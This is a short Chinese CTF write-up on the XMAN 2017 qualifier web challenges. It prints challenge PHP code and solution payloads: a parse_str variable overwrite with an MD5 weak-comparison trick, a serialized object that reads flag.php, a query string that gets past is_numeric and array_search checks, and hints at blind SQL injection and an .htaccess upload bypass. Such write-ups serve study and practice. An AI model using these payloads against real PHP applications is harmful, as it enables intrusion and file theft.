没报名xman2017夏令营,不过选拔赛去瞄了一眼web题,目测不难
variacover
<meta charset="utf-8">
<?php
error_reporting(0);
if (empty($_GET['b'])) {
show_source(__FILE__);
die();
}else{
include('flag.php');
$a = "www.XMAN.com";
$b = $_GET['b'];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo $flag;
}else{
exit('你的答案不对0.0');
}
}
?>
php弱类型,变量覆盖
urldecode
URL双编码
unserialize
class FileClass{
public $filename = 'error.log';
public function __toString(){
return file_get_contents($this->filename);
}
}
php反序列化
$a = new FileClass();
$a->filename = 'flag.php';
echo serialize($a);
O:9:”FileClass”:1:{s:8:”filename”;s:8:”flag.php”;}
Welcome2IRC
这个真的是web题吗。。。随便找个irc客户端。。。
PHP
http://challenges.xctf.org.cn:8004/index.php~
<?php
$a=0;
$b=0;
$c=0;
if (isset($_GET['aaa']))
{
$aaa = $_GET['aaa'];
$aaa=="1"?die("Emmm..."):NULL;
switch ($aaa)
{
case 0:
case 1:
$a=1;
break;
}
}
$bbb=(array)json_decode(@$_GET['bbb']);
if(is_array($bbb)){
is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL;
if(@$bbb["ccc"]){
($bbb["ccc"]>2017)?$b=1:NULL;
}
if(is_array(@$bbb["ddd"])){
if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emmm...");
$eee = array_search("XMAN", $bbb["ddd"]);
$eee===false?die("Emmm..."):NULL;
foreach($bbb["ddd"] as $key=>$val){
$val==="XMAN"?die("Emmm..."):NULL;
}
$c=1;
}
}
if($a && $b && $c){
include "flag.php";
echo $flag;
}
?>
几个点:aaa:switch没加break,当然弱类型也可以,ccc:加空格绕过is_numeric,ddd:array_search弱类型比较
aaa=&bbb={“ccc”:”2018 “,”ddd”:[[],0]}
download
http://challenges.xctf.org.cn:7775/README.md
http://blog.csdn.net/hitwangpeng/article/details/45602187
CTF用户登录
sql盲注
1 | # -*- coding:utf-8 -*- |
upload
.htaccess上传绕过
不过好像有很多搅屎的